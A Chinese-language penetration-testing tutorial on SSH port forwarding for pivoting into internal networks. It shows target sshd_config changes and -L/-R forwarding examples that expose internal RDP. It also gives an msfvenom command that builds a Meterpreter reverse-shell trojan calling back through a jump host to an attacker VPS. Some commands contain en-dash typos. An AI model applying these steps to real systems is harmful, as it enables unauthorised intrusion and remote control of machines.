一、SSH配置文件设置
需要在目标主机修改如下配置文件内容:
Vi /etc/ssh/sshd_config #SSH配置文件 AllowTcpForwarding yes #是否允许转发TCP协议 GatewayPorts yes #是否允许远程主机连接本地转发端口 PermitRootLogin yes #是否允许root登录 PasswordAuthentication yes #是否允许使用基于密码的认证 TCPKeepAlive yes #保持心跳,防止 ssh 断开
二、SSH端口转发参数详解
-C #压缩传输,加快传输速度 -f #将SSH转入后台执行,不占用当前的shell -N #建立静默连接(建立了连接,但是看不到具体会话) -g #允许远程主机连接到本地用于转发的端口 -L #本地端口转发 -R #远程端口转发 -D #动态转发(socks代理) -P #指定SSH端口
三、具体转发方式
①本地端口转发(将攻击者vps的某个端口转发到目标指定机器的指定端口)
场景:只能访问B主机,B作为跳板,将内网C主机端口带出来
在vps上执行:
ssh -L vps本地端口:C主机ip:C端口 B用户名@ip
实例:
ssh -CfNg –L 2121:192.168.1.109:3389 root@192.168.1.2
此时连接vps本地2121端口就相当于连接到内网C主机的3389端口
②远程端口转发(将目标主机的某个端口转发到攻击者vps的指定端口)
场景:无法访问B主机,但是B主机可以出网,通过B为跳板,将内网C主机端口带出来
在B跳板上执行:
ssh -R vps端口:C主机ip:C端口 vps用户名@ip
实例:
ssh -CfNg -R 1080:192.168.1.109:3389 root@192.168.1.106
此时连接vps本地1080端口就相当于连接到内网C主机的3389端口
-
四、如何通过跳板机让内网主机上线?
①通过本地端口转发
场景:(B跳板机能出网,内网C主机能访问B跳板,内网其他主机怎么全部上线呢?)
C主机执行:
ssh -CfNg -L 本地端口:vps的ip:vps端口 B用户名@ip
然后MSF生成木马(lhost=C主机ip,lport=C主机端口):
msfvenom -p windows/meterpreter/reverse_tcp lhost=C主机ip lport=C主机端口 -f exe > ssh.exe
然后vps开启MSF监听(vps本地端口和ip即可):
内网中的主机执行payload就能成功上线:
流量走向:C主机6666端口-->B跳板-->vps的6666端口
②通过远程端口转发
场景:(B跳板机能出网,内网C主机能访问B跳板,内网其他主机怎么全部上线呢?)
B跳板执行:
ssh –CfNg -R C主机端口:vps的ip:vps的端口 C主机用户名@ip
然后MSF生成木马(lhost=C主机ip,lport=C主机端口):
然后vps开启MSF监听(vps本地端口和ip即可):
执行payload就能成功上线
流量走向:C主机7777端口-->B跳板-->vps的4444端口
文章只是模拟部分场景,总体来说SSH隧道还是挺稳定的,实际场景还需根据实际情况进行思路拓展,文章如有错误,欢迎一起交流